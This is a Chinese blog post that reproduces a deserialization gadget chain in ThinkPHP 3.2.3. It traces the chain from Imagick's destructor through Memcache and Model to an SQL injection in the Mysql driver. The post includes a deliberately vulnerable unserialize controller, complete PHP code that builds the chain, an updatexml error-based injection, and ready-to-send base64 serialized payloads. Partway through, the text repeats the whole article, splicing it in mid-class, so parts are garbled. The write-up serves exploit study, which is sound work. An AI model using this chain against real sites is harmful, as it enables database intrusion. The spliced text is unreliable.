ThinkPHP3.2.3反序列化鏈子分析

 前言

 目前官方已經不再維護ThinkPHP3.2.3,本文僅對ThinkPHP3.2.3反序列化鏈子進行復現,如有紕漏,還望指正。

 環境介紹

  • MAMP pro

  • PhpStorm

  • Xdebug

 利用條件

  • 具備反序列化入口

 分析過程

 首先在分析前,先新建一個控制器,寫一個反序列化入口

 在Application/Home/Controller/HelloController.class.php中新建以下內容:

<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
   public function index($Lxxx){
       echo base64_decode($Lxxx);
       $a = unserialize(base64_decode($Lxxx));
  }
}

 反序列化入口自己創建好了,接下來新建一個開始找反序列化鏈頭,因為大多數反序列化漏洞,都是由__destruct()魔術方法引起的,因此全局搜索public function __destruct()

 分析一下不可用入口:

ThinkPHP3.2.3 反序列化鏈子分析570.png

 例如,像上方這種,就沒有可控參數,就不是很好利用

 通常,在尋找__destruct()可用的魔術方法需遵循「可控變量儘可能多」的原則

 因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控變量的析構函數方法:

ThinkPHP3.2.3 反序列化鏈子分析717.png

 如果我們對img屬性賦一個對象,那麼它會調用destroy()方法,這時,我們全局搜索具有destroy()方法的類,這裡有一個坑點,就是在PHP7版本中,如果調用一個含參數的方法,卻不傳入參數時,ThinkPHP會報錯,而在PHP5版本中不會報錯

 而我們全局搜索的結果如下:

ThinkPHP3.2.3 反序列化鏈子分析859.png

 在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有兩個可控參數,調用的是delete方法,同樣,類可控,delete方法的參數看似可控,其實不可控,因為下方全局搜索後,delete方法需要的參數大多數都為array形式,而上方傳入的是$this->sessionName.$sessID,即使$this->sesionName設置為數組array,但是$sessID如果為空值,在PHP中,用.連接符連接,得到的結果為字符串array

<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"

 接下來全局搜索delete方法

ThinkPHP3.2.3 反序列化鏈子分析1195.png

 如果能夠滿足紅色方框前面的條件,那麼我們期望能調用紅色方框中的delete方法

 上面分析了這麼多了,保險起見,我們這邊還是先在這個文件下,echo一個值,然後將前面分析的鏈子整合一下,進行反序列化,看看調用過程是否正確。

ThinkPHP3.2.3 反序列化鏈子分析1309.png

 前面一共涉及到三個類,我們在Model.class.php中打印一個值,構造這三個類序列化字符串如下:

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
class Model{

}
}

namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 輸出:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

 傳給瀏覽器後,我們可以看到Lxxx被成功的打印了出來

ThinkPHP3.2.3 反序列化鏈子分析2084.png

 也就是說截止目前,我們的分析還沒有問題,那接着往下分析:

 在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我們期望進入下方的return語句中,因為此時如果我們對$this->data傳入,則該方法的option參數變相可控

ThinkPHP3.2.3 反序列化鏈子分析2231.png

接着看這個方法,往下看,看看是否有可控的點

ThinkPHP3.2.3 反序列化鏈子分析2256.png

 上方紅框的位置$this->db我們可控,delete方法也可控,option值上面說了,變相可控

 那麼我們就可以繼續搜索delete方法,注意,這個時候搜索delete方法和上面就不一樣的了,之前delete方法參數不可控,此時可控了。

ThinkPHP3.2.3 反序列化鏈子分析2379.png

 在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的點,我們跟進看一看。

 下方的sql語句可能存在注入

ThinkPHP3.2.3 反序列化鏈子分析2465.png

 這裡直接對table進行拼接,上方有一個parseTable方法,跟進看一下,看看是否存在過濾。

ThinkPHP3.2.3 反序列化鏈子分析2517.png

 可以看到,這裡parseTable方法只是調用了parseKey方法,再跟進parseKey方法

ThinkPHP3.2.3 反序列化鏈子分析2569.png

 parseKey方法沒有過濾,直接將傳入的參數返回,下方紅框處就是執行sql的地方了,在執行之前可以將sql打印出來,方便調試

ThinkPHP3.2.3 反序列化鏈子分析2636.png

 這麼一來就可以構造鏈子了

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
               "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
               "where" => "1=1"
          );
}
}
}
namespace Think\Db\Driver{
class Mysql{
       protected $config = array(
           "debug"    => 1,
           "database" => "tp323",
           "hostname" => "127.0.0.1",
           "hostport" => "8889",
           "charset"  => "utf8",
           "username" => "root",
           "password" => "root"
      );

 前言

 目前官方已經不再維護ThinkPHP3.2.3,本文僅對ThinkPHP3.2.3反序列化鏈子進行復現,如有紕漏,還望指正。

 環境介紹

  • MAMP pro

  • PhpStorm

  • Xdebug

 利用條件

  • 具備反序列化入口

 分析過程

 首先在分析前,先新建一個控制器,寫一個反序列化入口

 在Application/Home/Controller/HelloController.class.php中新建以下內容:

<?php
namespace Home\Controller;

use Think\Controller;

class HelloController extends Controller
{
   public function index($Lxxx){
       echo base64_decode($Lxxx);
       $a = unserialize(base64_decode($Lxxx));
  }
}

 反序列化入口自己創建好了,接下來新建一個開始找反序列化鏈頭,因為大多數反序列化漏洞,都是由__destruct()魔術方法引起的,因此全局搜索public function __destruct()

 分析一下不可用入口:

ThinkPHP3.2.3 反序列化鏈子分析570.png

 例如,像上方這種,就沒有可控參數,就不是很好利用

 通常,在尋找__destruct()可用的魔術方法需遵循「可控變量儘可能多」的原則

 因此在ThinkPHP/Library/Think/Image/Driver/Imagick.class.php文件中,找到具有可控變量的析構函數方法:

ThinkPHP3.2.3 反序列化鏈子分析717.png

 如果我們對img屬性賦一個對象,那麼它會調用destroy()方法,這時,我們全局搜索具有destroy()方法的類,這裡有一個坑點,就是在PHP7版本中,如果調用一個含參數的方法,卻不傳入參數時,ThinkPHP會報錯,而在PHP5版本中不會報錯

 而我們全局搜索的結果如下:

ThinkPHP3.2.3 反序列化鏈子分析859.png

 在ThinkPHP/Library/Think/Model.class.php中,destroy()方法有兩個可控參數,調用的是delete方法,同樣,類可控,delete方法的參數看似可控,其實不可控,因為下方全局搜索後,delete方法需要的參數大多數都為array形式,而上方傳入的是$this->sessionName.$sessID,即使$this->sesionName設置為數組array,但是$sessID如果為空值,在PHP中,用.連接符連接,得到的結果為字符串array

<?php
$a = array("123"=>"123");
var_dump($a."");
?>
string(5) "Array"

 接下來全局搜索delete方法

ThinkPHP3.2.3 反序列化鏈子分析1195.png

 如果能夠滿足紅色方框前面的條件,那麼我們期望能調用紅色方框中的delete方法

 上面分析了這麼多了,保險起見,我們這邊還是先在這個文件下,echo一個值,然後將前面分析的鏈子整合一下,進行反序列化,看看調用過程是否正確。

ThinkPHP3.2.3 反序列化鏈子分析1309.png

 前面一共涉及到三個類,我們在Model.class.php中打印一個值,構造這三個類序列化字符串如下:

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
class Model{

}
}

namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 輸出:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjA6e319fQ==

 傳給瀏覽器後,我們可以看到Lxxx被成功的打印了出來

ThinkPHP3.2.3 反序列化鏈子分析2084.png

 也就是說截止目前,我們的分析還沒有問題,那接着往下分析:

 在ThinkPHP/Library/Think/Model.class.php中,$this->data可控,我們期望進入下方的return語句中,因為此時如果我們對$this->data傳入,則該方法的option參數變相可控

ThinkPHP3.2.3 反序列化鏈子分析2231.png

接着看這個方法,往下看,看看是否有可控的點

ThinkPHP3.2.3 反序列化鏈子分析2256.png

 上方紅框的位置$this->db我們可控,delete方法也可控,option值上面說了,變相可控

 那麼我們就可以繼續搜索delete方法,注意,這個時候搜索delete方法和上面就不一樣的了,之前delete方法參數不可控,此時可控了。

ThinkPHP3.2.3 反序列化鏈子分析2379.png

 在ThinkPHP/Library/Think/Db/Driver.class.php文件中,可能存在SQL注入的點,我們跟進看一看。

 下方的sql語句可能存在注入

ThinkPHP3.2.3 反序列化鏈子分析2465.png

 這裡直接對table進行拼接,上方有一個parseTable方法,跟進看一下,看看是否存在過濾。

ThinkPHP3.2.3 反序列化鏈子分析2517.png

 可以看到,這裡parseTable方法只是調用了parseKey方法,再跟進parseKey方法

ThinkPHP3.2.3 反序列化鏈子分析2569.png

 parseKey方法沒有過濾,直接將傳入的參數返回,下方紅框處就是執行sql的地方了,在執行之前可以將sql打印出來,方便調試

ThinkPHP3.2.3 反序列化鏈子分析2636.png

 這麼一來就可以構造鏈子了

<?php
namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;
public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle = null;
public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $pk;
protected $db;
protected $data = array();
public function __construct(){
$this->db = new Mysql();
$this->pk = "id";
$this->data[$this->pk] = array(
               "table" => "mysql.user where 0 or updatexml(1,concat(0x7e,database()),1)#",
               "where" => "1=1"
          );
}
}
}
namespace Think\Db\Driver{
class Mysql{
       protected $config = array(
           "debug"    => 1,
           "database" => "tp323",
           "hostname" => "127.0.0.1",
           "hostport" => "8889",
           "charset"  => "utf8",
           "username" => "root",
           "password" => "root"
      );
}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 得到結果:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

ThinkPHP3.2.3 反序列化鏈子分析4562.png

 後記

 多斷點,多打印,多跟進,多思考。

 推薦實驗:PHP反序列化漏洞實驗(合天網安實驗室) 點擊進入實操>>


}
}
namespace{
$a = new Think\Image\Driver\Imagick();
echo base64_encode(serialize($a));
}

 得到結果:

TzoyNjoiVGhpbmtcSW1hZ2VcRHJpdmVyXEltYWdpY2siOjE6e3M6MzE6IgBUaGlua1xJbWFnZVxEcml2ZXJcSW1hZ2ljawBpbWciO086Mjk6IlRoaW5rXFNlc3Npb25cRHJpdmVyXE1lbWNhY2hlIjoxOntzOjk6IgAqAGhhbmRsZSI7TzoxMToiVGhpbmtcTW9kZWwiOjM6e3M6NToiACoAcGsiO3M6MjoiaWQiO3M6NToiACoAZGIiO086MjE6IlRoaW5rXERiXERyaXZlclxNeXNxbCI6MTp7czo5OiIAKgBjb25maWciO2E6Nzp7czo1OiJkZWJ1ZyI7aToxO3M6ODoiZGF0YWJhc2UiO3M6NToidHAzMjMiO3M6ODoiaG9zdG5hbWUiO3M6OToiMTI3LjAuMC4xIjtzOjg6Imhvc3Rwb3J0IjtzOjQ6Ijg4ODkiO3M6NzoiY2hhcnNldCI7czo0OiJ1dGY4IjtzOjg6InVzZXJuYW1lIjtzOjQ6InJvb3QiO3M6ODoicGFzc3dvcmQiO3M6NDoicm9vdCI7fX1zOjc6IgAqAGRhdGEiO2E6MTp7czoyOiJpZCI7YToyOntzOjU6InRhYmxlIjtzOjYxOiJteXNxbC51c2VyIHdoZXJlIDAgb3IgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsZGF0YWJhc2UoKSksMSkjIjtzOjU6IndoZXJlIjtzOjM6IjE9MSI7fX19fX0

ThinkPHP3.2.3 反序列化鏈子分析4562.png

 後記

 多斷點,多打印,多跟進,多思考。

 推薦實驗:PHP反序列化漏洞實驗(合天網安實驗室) 點擊進入實操>>